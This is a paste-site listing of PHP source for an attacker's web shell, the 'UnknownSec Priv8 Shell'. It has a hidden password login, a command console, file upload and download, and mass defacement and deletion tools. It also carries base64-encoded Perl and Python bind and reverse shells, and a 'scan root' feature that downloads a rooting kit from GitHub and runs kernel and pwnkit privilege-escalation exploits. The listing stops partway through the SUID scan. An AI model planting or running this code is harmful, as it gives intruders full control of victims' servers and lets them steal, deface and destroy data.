Facebook
From Gamboge Giraffe, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 83
  1. <?php
  2. /* thanks to anon7 and all mem anonsec */
  3. set_time_limit(0);
  4. error_reporting(0);
  5. @ini_set('error_log',null);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. session_start();
  11. date_default_timezone_set("Asia/Jakarta");
  12. $_7 = array_merge($_POST, $_GET);
  13. $_r = "required='required'";
  14. $gcw = "getcwd";
  15. $inipass = "QCMkeDFuNG0xQCMk";
  16. if(isset($_7['x1nam1'])){
  17.         echo "<div class='text-center text-muted'>@#$x1n4m1@#$</div>";
  18. }
  19. function Login() {
  20. ?>
  21. <!DOCTYPE HTML>
  22. <html>
  23.         <head>
  24.                 <meta charset="UTF-8">
  25.                 <meta name="viewport" content="width=device-width, initial-scale=0.70">
  26.                 <title>{ login }</title>
  27.                 <link rel="stylesheet" href="//xnxx.co.ws/meki.css">
  28.                 <link rel="icon" href="//xnxx.co.ws/anya.jpg">
  29.         </head>
  30. <body class="bg-dark">
  31. <form method="POST">
  32.         <div class='container-fluid'>
  33.                 <div class='py-3' id='main'>
  34.                         <div class="input-group">
  35.                                 <div class="input-group-text"><i class="bi bi-person-circle"></i></div>
  36.                                 <input class="form-control form-control-sm" type="password" placeholder="password" name="p" $_r>
  37.                                 <button class="btn btn-outline-light btn-sm"><i class="bi bi-arrow-return-right"></i></button>
  38.                         </div>
  39.                 </div>
  40.         </div>
  41. </form>
  42. </body>
  43. </html>
  44. <?php
  45. exit;
  46. }
  47. if(!isset($_SESSION[base64_encode($_SERVER['HTTP_HOST'])]))
  48.         if(empty($inipass) || (isset($_7['p']) && (base64_encode($_7['p']) == $inipass) ) )
  49.                 $_SESSION[base64_encode($_SERVER['HTTP_HOST'])] = true;
  50.         else
  51.                 Login();
  52. // logout
  53. if(isset($_7["left"])) {
  54.         session_start();
  55.         session_destroy();
  56.         echo '<script>window.location="'.$_SERVER['PHP_SELF'].'";</script>';
  57. }
  58. // download file
  59. if(isset($_7['opn']) && ($_7['opn'] != '') && ($_7['action'] == 'download')){
  60.         @ob_clean();
  61.         $file = $_7['opn'];
  62.         header('Content-Description: File Transfer');
  63.         header('Content-Type: application/octet-stream');
  64.         header('Content-Disposition: attachment; filename="'.basename($file).'"');
  65.         header('Expires: 0');
  66.         header('Cache-Control: must-revalidate');
  67.         header('Pragma: public');
  68.         header('Content-Length: ' . filesize($file));
  69.         readfile($file);
  70.         exit;
  71. }
  72. function w($dir,$perm) {
  73.         if(!is_writable($dir)) {
  74.                 return "<rd>".$perm."</rd>";
  75.         } else {
  76.                 return "<gr>".$perm."</gr>";
  77.         }
  78. }
  79. function s(){
  80.         echo '<style>table{display:none;}</style><div class="table-responsive"><hr></div>';
  81. }
  82. function ok(){
  83.         echo '<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>';
  84. }
  85. function er(){
  86.         echo '<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>';
  87. }
  88. function sz($byt){
  89.         $typ = array('B', 'KB', 'MB', 'GB', 'TB');
  90.         for($i = 0; $byt >= 1024 && $i < (count($typ) -1 ); $byt /= 1024, $i++ );
  91.         return(round($byt,2)." ".$typ[$i]);
  92. }
  93. function ia() {
  94.         $ia = '';
  95. if (getenv('HTTP_CLIENT_IP'))
  96.         $ia = getenv('HTTP_CLIENT_IP');
  97. else if(getenv('HTTP_X_FORWARDED_FOR'))
  98.         $ia = getenv('HTTP_X_FORWARDED_FOR');
  99. else if(getenv('HTTP_X_FORWARDED'))
  100.         $ia = getenv('HTTP_X_FORWARDED');
  101. else if(getenv('HTTP_FORWARDED_FOR'))
  102.         $ia = getenv('HTTP_FORWARDED_FOR');
  103. else if(getenv('HTTP_FORWARDED'))
  104.         $ia = getenv('HTTP_FORWARDED');
  105. else if(getenv('REMOTE_ADDR'))
  106.         $ia = getenv('REMOTE_ADDR');
  107. else
  108.         $ia = 'Unknown IP.';
  109. return $ia;
  110. }
  111. function exe($cmd) {
  112. if(function_exists('system')) {
  113.         @ob_start();
  114.         @system($cmd);
  115.         $buff = @ob_get_contents();
  116.         @ob_end_clean();
  117.         return $buff;
  118. } elseif(function_exists('exec')) {
  119.         @exec($cmd,$results);
  120.         $buff = "";
  121. foreach($results as $result) {
  122.         $buff .= $result;
  123.         } return $buff;
  124. } elseif(function_exists('passthru')) {
  125.         @ob_start();
  126.         @passthru($cmd);
  127.         $buff = @ob_get_contents();
  128.         @ob_end_clean();
  129.         return $buff;
  130. } elseif(function_exists('shell_exec')) {
  131.         $buff = @shell_exec($cmd);
  132.         return $buff;
  133.         }
  134. }
  135. function exe_root($set,$sad) {
  136.         $x = "preg_match";
  137.         $xx = "2>&1";
  138.         if (!$x("/".$xx."/i", $set)) {
  139.                 $set = $set." ".$xx;
  140.         }
  141.         $a = "function_exists";
  142.         $b = "proc_open";
  143.         $c = "htmlspecialchars";
  144.         $d = "stream_get_contents";
  145.         if ($a($b)) {
  146.                 $ps = $b($set, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pink,$sad);
  147.                 return $d($pink[1]);
  148.         } else {
  149.                 return "proc_open function is disabled !";
  150.         }
  151. }
  152. function p($file){
  153. $p = fileperms($file);
  154. if (($p & 0xC000) == 0xC000) {
  155. $i = 's';
  156. } elseif (($p & 0xA000) == 0xA000) {
  157. $i = 'l';
  158. } elseif (($p & 0x8000) == 0x8000) {
  159. $i = '-';
  160. } elseif (($p & 0x6000) == 0x6000) {
  161. $i = 'b';
  162. } elseif (($p & 0x4000) == 0x4000) {
  163. $i = 'd';
  164. } elseif (($p & 0x2000) == 0x2000) {
  165. $i = 'c';
  166. } elseif (($p & 0x1000) == 0x1000) {
  167. $i = 'p';
  168. } else {
  169. $i = 'u';
  170.         }
  171. $i .= (($p & 0x0100) ? 'r' : '-');
  172. $i .= (($p & 0x0080) ? 'w' : '-');
  173. $i .= (($p & 0x0040) ?
  174. (($p & 0x0800) ? 's' : 'x' ) :
  175. (($p & 0x0800) ? 'S' : '-'));
  176. $i .= (($p & 0x0020) ? 'r' : '-');
  177. $i .= (($p & 0x0010) ? 'w' : '-');
  178. $i .= (($p & 0x0008) ?
  179. (($p & 0x0400) ? 's' : 'x' ) :
  180. (($p & 0x0400) ? 'S' : '-'));
  181. $i .= (($p & 0x0004) ? 'r' : '-');
  182. $i .= (($p & 0x0002) ? 'w' : '-');
  183. $i .= (($p & 0x0001) ?
  184. (($p & 0x0200) ? 't' : 'x' ) :
  185. (($p & 0x0200) ? 'T' : '-'));
  186. return $i;
  187. }
  188. if(isset($_7['dir'])) {
  189.         $dir = $_7['dir'];
  190.         chdir($dir);
  191. } else {
  192.         $dir = $gcw();
  193. }
  194. echo "
  195. <html>
  196.         <head>
  197.                 <meta charset='UTF-8'>
  198.                 <meta name='author' content='UnknownSec'>
  199.                 <meta name='viewport' content='width=device-width, initial-scale=0.70'>
  200.                 <link rel='stylesheet' href='//xnxx.co.ws/meki.css'>
  201.                 <link rel='icon' href='//xnxx.co.ws/anya.jpg'>
  202.                 <title>{ File Manager }</title>
  203.                 <script src='//cdnjs.cloudflare.com/ajax/libs/prism/1.6.0/prism.js'></script>
  204.                 <script src='//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js'></script>
  205.                 <script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>
  206.         </head>
  207. <body class='bg-secondary text-light'>
  208. <div class='container-fluid'>
  209.         <div class='py-3' id='main'>
  210.                 <div class='box shadow bg-dark p-4 rounded-3'>
  211.                         <a class='text-decoration-none text-light anu' href='".$_SERVER['PHP_SELF']."'><h4>UnknownSec Priv8 Shell</h4></a>";
  212.                         if(isset($_7['path'])){
  213.                                 $path = $_7['path'];
  214.                                 chdir($path);
  215.                         }else{
  216.                                 $path = $gcw();
  217.                         }
  218.                                 $path = str_replace('\\','/',$path);
  219.                                 $paths = explode('/',$path);
  220.                         foreach($paths as $id=>$pat){
  221.                         if($pat == '' && $id == 0){
  222.                                 $a = true;
  223.                                         echo "<i class='bi bi-hdd-rack'></i>:<a class='text-decoration-none text-light' href='?path=/'>/</a>";
  224.                                 continue;
  225.                         }
  226.                         if($pat == '') continue;
  227.                                 echo "<a class='text-decoration-none' href='?path=";
  228.                                 for($i=0;$i<=$id;$i++){
  229.                                 echo "$paths[$i]";
  230.                         if($i != $id) echo "/";
  231.                         }
  232.                         echo "'>".$pat."</a>/";
  233.                         }
  234.                         $scand = scandir($path);
  235.                         echo "&nbsp;[ ".w($path, p($path))." ]";
  236.                         // info
  237.                         $sql = (function_exists('mysql_connect')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  238.                         $curl = (function_exists('curl_version')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  239.                         $wget = (exe('wget --help')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  240.                         $pl = (exe('perl --help')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  241.                         $py = (exe('python --help')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  242.                         $disfunc = @ini_get("disable_functions");
  243.                         $kernel = php_uname();
  244.                         $phpver = PHP_VERSION;
  245.                         $phpos = PHP_OS;
  246.                         $soft = $_SERVER["SERVER_SOFTWARE"];
  247.                         $ip = gethostbyname($_SERVER['HTTP_HOST']);
  248.                         if (empty($disfunc)) {
  249.                                 $disfc = "<gr>NONE</gr>";
  250.                         } else {
  251.                                 $disfc = "<rd>$disfunc</rd>";
  252.                         }
  253.                         if(!function_exists('posix_getegid')) {
  254.                                 $user = @get_current_user();
  255.                                 $uid = @getmyuid();
  256.                                 $gid = @getmygid();
  257.                                 $group = "?";
  258.                         } else {
  259.                                 $uid = @posix_getpwuid(posix_geteuid());
  260.                                 $gid = @posix_getgrgid(posix_getegid());
  261.                                 $user = $uid['name'];
  262.                                 $uid = $uid['uid'];
  263.                                 $group = $gid['name'];
  264.                                 $gid = $gid['gid'];
  265.                         }
  266.                         $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<rd>ON</rd>" : "<gr>OFF</gr>";
  267.                 echo "
  268.                 <div class='container-fluid'>
  269.                         <div class='corner anu py-3'>
  270.                                 <button class='btn btn-outline-light btn-sm' data-bs-toggle='collapse' data-bs-target='#collapseExample' aria-expanded='false' aria-controls='collapseExample'><i class='bi bi-info-circle'></i> info <i class='bi bi-chevron-down'></i></button>
  271.                         </div>
  272.                         <div class='collapse text-dark mb-3' id='collapseExample'>
  273.                                 <div class='box shadow bg-light p-3 rounded-3'>
  274.                                 System: <gr>$kernel</gr><br>
  275.                                 Software: <gr>$soft</gr><br>
  276.                                 PHP version: <gr>$phpver</gr> <a class='text-decoration-none' href='?dir=$path&id=phpinfo'>[ PHPINFO ]</a> PHP os: <gr>$phpos</gr><br>
  277.                                 Server Ip: <gr>$ip</gr><br>
  278.                                 Your Ip: <gr>".ia()."</gr><br>
  279.                                 User: <gr>$user</gr> ($uid) | Group: <gr>$group</gr> ($gid)<br>
  280.                                 Safe Mode: $sm<br>
  281.                                 MySQL: $sql | Perl: $pl | Python: $py | WGET: $wget | CURL: $curl<br>
  282.                                 Disable Function:<br><pre>$disfc</pre>
  283.                                 </div>
  284.                         </div>
  285.                 </div>
  286.                 <div class='text-center'>
  287.                         <div class='btn-group'>
  288.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&id=upload'><i class='bi bi-upload'></i> Upload</a>
  289.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&id=deface'><i class='bi bi-exclamation-diamond'></i> Mass deface</a>
  290.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&id=delete'><i class='bi bi-trash'></i> Mass delete</a>
  291.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&id=cmd'><i class='bi bi-terminal'></i> Console</a>
  292.                         </div>
  293.                         <div class='btn-group'>
  294.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&id=scan_root'><i class='bi bi-search'></i> Scan root</a>
  295.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&id=network'><i class='bi bi-hdd-network'></i> Network</a>
  296.                                 <a class='btn btn-outline-light btn-sm' href='?left'><i class='bi bi-box-arrow-in-left'></i> Logout</a>
  297.                         </div>
  298.                 </div>";
  299.                 // tools
  300.                 if(isset($_7['dir'])) {
  301.                         $dir = $_7['dir'];
  302.                         chdir($dir);
  303.                 } else {
  304.                         $dir = $gcw();
  305.                 }
  306.                 $dir = str_replace("\\","/",$dir);
  307.                 $scdir = explode("/", $dir);   
  308.                 for($i = 0; $i <= $c_dir; $i++) {
  309.                         $scdir[$i];
  310.                         if($i != $c_dir) {
  311.                 }
  312.                 // mass deface
  313.                 if($_7['id'] == 'deface'){
  314.                 function mass_all($dir,$namefile,$contents_sc) {
  315.                 if(is_writable($dir)) {
  316.                         $dira = scandir($dir);
  317.                         foreach($dira as $dirb) {
  318.                                 $dirc = "$dir/$dirb";
  319.                                 $▚ = $dirc.'/'.$namefile;
  320.                                 if($dirb === '.') {
  321.                                         file_put_contents($▚, $contents_sc);
  322.                                 } elseif($dirb === '..') {
  323.                                         file_put_contents($▚, $contents_sc);
  324.                                 } else {
  325.                                         if(is_dir($dirc)) {
  326.                                                 if(is_writable($dirc)) {
  327.                                                         echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;$▚<br>";
  328.                                                         file_put_contents($▚, $contents_sc);
  329.                                                         $▟ = mass_all($dirc,$namefile,$contents_sc);
  330.                                                         }
  331.                                                 }
  332.                                         }
  333.                                 }
  334.                         }
  335.                 }
  336.                 function mass_onedir($dir,$namefile,$contents_sc) {
  337.                         if(is_writable($dir)) {
  338.                                 $dira = scandir($dir);
  339.                                 foreach($dira as $dirb) {
  340.                                         $dirc = "$dir/$dirb";
  341.                                         $▚ = $dirc.'/'.$namefile;
  342.                                         if($dirb === '.') {
  343.                                                 file_put_contents($▚, $contents_sc);
  344.                                         } elseif($dirb === '..') {
  345.                                                 file_put_contents($▚, $contents_sc);
  346.                                         } else {
  347.                                                 if(is_dir($dirc)) {
  348.                                                         if(is_writable($dirc)) {
  349.                                                                 echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;$dirb/$namefile<br>";
  350.                                                                 file_put_contents($▚, $contents_sc);
  351.                                                         }
  352.                                                 }
  353.                                         }
  354.                                 }
  355.                         }
  356.                 }
  357.                 if($_7['start']) {
  358.                         if($_7['tipe'] == 'mass') {
  359.                         mass_all($_7['d_dir'], $_7['d_file'], $_7['script']);
  360.                         } elseif($_7['tipe'] == 'onedir') {
  361.                         mass_onedir($_7['d_dir'], $_7['d_file'], $_7['script']);
  362.                         }
  363.                 }
  364.                 s();
  365.                 echo "
  366.                 <div class='card card-body text-dark input-group mb-3'>
  367.                         <form method='POST'> Tipe:
  368.                         <div class='form-check'>
  369.                                 <input class='form-check-input' type='checkbox' value='onedir' name='tipe' id='flexCheckDefault' checked>
  370.                                 <label class='form-check-label' for='flexCheckDefault'>One dir</label>
  371.                         </div>
  372.                         <div class='form-check'>
  373.                                 <input class='form-check-input' type='checkbox' value='mass' name='tipe' id='flexCheckDefault'>
  374.                                 <label class='form-check-label' for='flexCheckDefault'>All directory</label>
  375.                         </div>
  376.                                 <i class='bi bi-folder'></i> Directory:
  377.                                 <input class='form-control btn-sm' type='text' name='d_dir' value='$dir' $_r>
  378.                                 <i class='bi bi-file-earmark'></i> Filename:
  379.                                 <input class='form-control btn-sm' type='text' name='d_file' placeholder='filename' $_r>
  380.                                 <i class='bi bi-file-earmark'></i> Your script:
  381.                                 <textarea class='form-control btn-sm' rows='7' name='script' placeholder='your script' $_r></textarea>
  382.                                 <div class='d-grid gap-2'>
  383.                                         <input class='btn btn-dark btn-sm' type='submit' name='start' value='deface'>
  384.                                 </div>
  385.                         </form>
  386.                 </div>";
  387.                 }
  388.                 // mass delete
  389.                 if($_7['id'] == 'delete'){
  390.                 function mass_delete($dir,$namefile) {
  391.                 if(is_writable($dir)) {
  392.                         $dira = scandir($dir);
  393.                         foreach($dira as $dirb) {
  394.                                 $dirc = "$dir/$dirb";
  395.                                 $▚ = $dirc.'/'.$namefile;
  396.                                 if($dirb === '.') {
  397.                                         if(file_exists("$dir/$namefile")) {
  398.                                                 unlink("$dir/$namefile");
  399.                                         }
  400.                                 } elseif($dirb === '..') {
  401.                                         if(file_exists("".dirname($dir)."/$namefile")) {
  402.                                                 unlink("".dirname($dir)."/$namefile");
  403.                                         }
  404.                                 } else {
  405.                                         if(is_dir($dirc)) {
  406.                                                 if(is_writable($dirc)) {
  407.                                                         if(file_exists($▚)) {
  408.                                                                 echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;$▚<br>";
  409.                                                                 unlink($▚);
  410.                                                                 $▟ = mass_delete($dirc,$namefile);
  411.                                                                 }
  412.                                                         }
  413.                                                 }
  414.                                         }
  415.                                 }
  416.                         }
  417.                 }
  418.                 if($_7['start']) {
  419.                         mass_delete($_7['d_dir'], $_7['d_file']);
  420.                 }
  421.                 s();
  422.                 echo "
  423.                 <div class='card card-body text-dark input-group mb-3'>
  424.                         <form method='POST'>
  425.                                 <i class='bi bi-folder'></i> Directory:
  426.                                 <input class='form-control btn-sm' type='text' name='d_dir' value='$dir' $_r>
  427.                                         <i class='bi bi-file-earmark'></i> Filename:
  428.                                 <div class='input-group'>
  429.                                         <input class='form-control btn-sm' type='text' name='d_file' placeholder='filename' $_r><br>
  430.                                         <div class='input-group-append'>
  431.                                                 <input class='btn btn-dark btn-sm' type='submit' name='start' value='delete'>
  432.                                         </div>
  433.                                 </div>
  434.                         </form>
  435.                 </div>";
  436.                 }
  437.                 // phpinfo
  438.                 if($_7['id'] == 'phpinfo'){
  439.                         @ob_start();
  440.                         @eval("phpinfo();");
  441.                         $buff = @ob_get_contents();
  442.                         @ob_end_clean();       
  443.                         $front = strpos($buff,"<body>")+6;
  444.                         $end = strpos($buff,"</body>");
  445.                         echo "<pre class='php_info'>".substr($buff,$front,$front-$front)."</pre>";
  446.                         exit;
  447.                 }
  448.                 // network
  449.                 if($_7['id'] == 'network'){
  450.                 s();
  451.                 echo "
  452.                 <div class='card text-dark'>
  453.                         <div class='card-header'>
  454.                                 <form method='post'>
  455.                                         <u>Bind port to /bin/sh [Perl]</u><br>
  456.                                         <u>Port :</u>
  457.                                 <div class='input-group'>
  458.                                         <input class='form-control btn-sm' type='text' name='port' placeholder='6969'>
  459.                                         <input class='btn btn-dark btn-sm' type='submit' name='bpl' value='submit'>
  460.                                 </div>
  461.                         <h5>Back-Connect</h5>
  462.                         <u>Server :</u>
  463.                                 <input class='form-control btn-sm' type='text' name='server' placeholder='". $_SERVER['REMOTE_ADDR'] ."'>
  464.                         <u>Port :</u>
  465.                         <div class='input-group'>
  466.                                 <input class='form-control btn-sm' type='text' name='port' placeholder='6969'>
  467.                                 <select class='form-control btn-sm' name='bc'>
  468.                                         <option value='perl'>perl</option>
  469.                                         <option value='python'>python</option>
  470.                                 </select>
  471.                         </div>
  472.                         <div class='d-grid gap-2'>
  473.                                 <input class='btn btn-dark btn-sm btn-block' type='submit' value='submit'>
  474.                         </div>
  475.                 </form>";
  476.                 if($_7['bpl']){
  477.                         $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");
  478.                         $brt = @fopen('bp.pl','w');
  479.                         fwrite($brt,$bp);
  480.                         $out = exe("perl bp.pl ".$_7['port']." 1>/dev/null 2>&1 &");
  481.                         sleep(1);
  482.                         echo "<pre>$out\n".exe("ps aux | grep bp.pl")."</pre>";
  483.                         unlink("bp.pl");
  484.                 }
  485.                 if($_7['bc'] == 'perl'){
  486.                         $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
  487.                         $plbc = @fopen('bc.pl','w');
  488.                         fwrite($plbc,$bc);
  489.                         $out = exe("perl bc.pl ".$_7['server']." ".$_7['port']." 1>/dev/null 2>&1 &");
  490.                         sleep(1);
  491.                         echo "<pre>$out\n".exe("ps aux | grep bc.pl")."</pre>";
  492.                         unlink("bc.pl");
  493.                 }
  494.                 if($_7['bc'] == 'python'){
  495.                         $bc_py = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=");
  496.                         $pbc_py = @fopen('bcpy.py','w');
  497.                         fwrite($pbc_py,$bc_py);
  498.                         $out_py = exe("python bcpy.py ".$_7['server']." ".$_7['port']);
  499.                         sleep(1);
  500.                         echo "<pre>$out_py\n".exe("ps aux | grep bcpy.py")."</pre>";
  501.                         unlink("bcpy.py");
  502.                         }
  503.                         echo "</div>
  504.                         </div>
  505.                 <br/>";
  506.                 }
  507.                 // console
  508.                 if($_7['id'] == 'cmd') {
  509.                 s();
  510.                 if(!empty($_POST['cmd'])) {
  511.                         $cmd = shell_exec($_POST['cmd'].' 2>&1');
  512.                 }
  513.                 echo "
  514.                 <div class='mb-3'>
  515.                         <form method='POST'>
  516.                                 <div class='input-group mb-3'>
  517.                                         <input class='form-control btn-sm' type='text' name='cmd' value='".htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8')."' placeholder='whoami' $_r>
  518.                                         <button class='btn btn-outline-light btn-sm' type='sumbit'><i class='bi bi-arrow-return-right'></i></button>
  519.                                 </div>
  520.                         </form>";
  521.                         if($cmd):
  522.                         echo '
  523.                         <div class="container-fluid language-javascript">
  524.                                 <div class="shell mb-3">
  525.                                         <pre style="font-size:10px;"><gr>~</gr>$&nbsp;<rd>'.htmlspecialchars($_POST['cmd']).'</rd><br><code>'.htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8').'</code></pre>
  526.                                 </div>
  527.                         </div>';
  528.                         elseif(!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'):
  529.                         echo '
  530.                         <div class="container-fluid language-javascript">
  531.                                 <div class="shell mb-3">
  532.                                         <pre style="font-size:10px;"><code>No result</code></pre>
  533.                                 </div>
  534.                         </div>
  535.                 </div>';
  536.                 endif;
  537.                 }
  538.                 // mulltiple upload
  539.                 if($_7['id'] == 'upload'){
  540.                 s();
  541.                 if(isset($_7['upl'])){
  542.                         $result = count($_FILES['file']['name']);
  543.                         for($contents=0;$contents<$result;$contents++){
  544.                                 $namefile = $_FILES['file']['name'][$contents];
  545.                                         $up = @copy($_FILES['file']['tmp_name'][$contents],"$path/".$namefile);
  546.                                 }
  547.                                 if($result < 2){
  548.                                         if($up){
  549.                                         echo "<strong>Upload</strong> $namefile ok! ".ok()."</div>";
  550.                                 }else{
  551.                                 echo '<strong>Upload</strong> fail! '.er().'</div>';
  552.                                 }
  553.                         }else{
  554.                         echo "<strong>Upload</strong> $result ok! ".ok()."</div>";
  555.                         }
  556.                 }
  557.                 echo "
  558.                 <div class='card card-body text-dark input-group mb-3'>
  559.                 <u>Multiple upload</u>
  560.                         <form method='POST' enctype='multipart/form-data'>
  561.                                 <div class='input-group'>
  562.                                         <input class='form-control form-control-sm' type='file' name='file[]' multiple='' $_r>
  563.                                         <input class='btn btn-dark btn-sm' type='submit' name='upl' value='upload'>
  564.                                 </div>
  565.                         </form>
  566.                 </div>";
  567.                         }
  568.                 }
  569.                 // scanner root #anon7
  570.                 if (isset($_GET['dir']) && $_GET['id'] == "scan_root") {
  571.                         ob_implicit_flush();ob_end_flush();s();
  572.                         echo "
  573.                         <div class='text-center'>
  574.                                 <div class='btn-group mb-3'>
  575.                                         <a class='btn btn-outline-light btn-sm' href='".$_SERVER['REQUEST_URI']."&id_two=autoscan'><i class='bi bi-bug'></i> Auto scan</a>
  576.                                         <a class='btn btn-outline-light btn-sm' href='".$_SERVER['REQUEST_URI']."&id_two=scansd'><i class='bi bi-search'></i> Scan SUID</a>
  577.                                         <a class='btn btn-outline-light btn-sm' href='".$_SERVER['REQUEST_URI']."&id_two=esg'><i class='bi bi-search'></i> Exploit suggester</a>
  578.                                 </div>
  579.                         </div>";
  580.                         if (!function_exists("proc_open")) {
  581.                                 echo "<center class='anu'>Command is Disabled !</center>";
  582.                         }
  583.                         if (!is_writable($path)) {
  584.                                 echo "<center class='anu'>Current Directory is Unwriteable !</center>";
  585.                         }
  586.                         if (isset($_GET['id_two']) && $_GET['id_two'] == "autoscan") {
  587.                                 if (!file_exists($path."/rooting/")) {
  588.                                         mkdir($path."/rooting");
  589.                                         exe_root("wget https://raw.githubusercontent.com/hekerprotzy/rootshell/main/auto.tar.gz", $path."/rooting");
  590.                                         exe_root("tar -xf auto.tar.gz", $path."/rooting");
  591.                                         if (!file_exists($path."/rooting/netfilter")) {
  592.                                                 die("<center class='anu'>Failed to Download Material !</center>");
  593.                                         }
  594.                                 }
  595.                                 echo '
  596.                                 <div class="container-fluid language-javascript">
  597.                                         <div class="shell mb-3">
  598.                                                 <pre style="font-size:10px;"><code>Netfilter : '.exe_root("timeout 10 ./rooting/netfilter", $path).'Ptrace : '.exe_root("echo id | timeout 10 ./rooting/ptrace", $path).'Sequoia : '.exe_root("timeout 10 ./rooting/sequoia", $path).'OverlayFS : '.exe_root("echo id | timeout 10 ./overlayfs", $path."/rooting").'Dirtypipe : '.exe_root("echo id | timeout 10 ./rooting/dirtypipe /usr/bin/su", $path).'Sudo : '.exe_root("echo 12345 | timeout 10 sudoedit -s Y", $path).'Pwnkit : '.exe_root("echo id | timeout 10 ./pwnkit", $path."/rooting").'</code></pre>
  599.                                         </div>
  600.                                 </div>';
  601.                         } elseif (isset($_GET['id_two']) && $_GET['id_two'] == "scansd") {
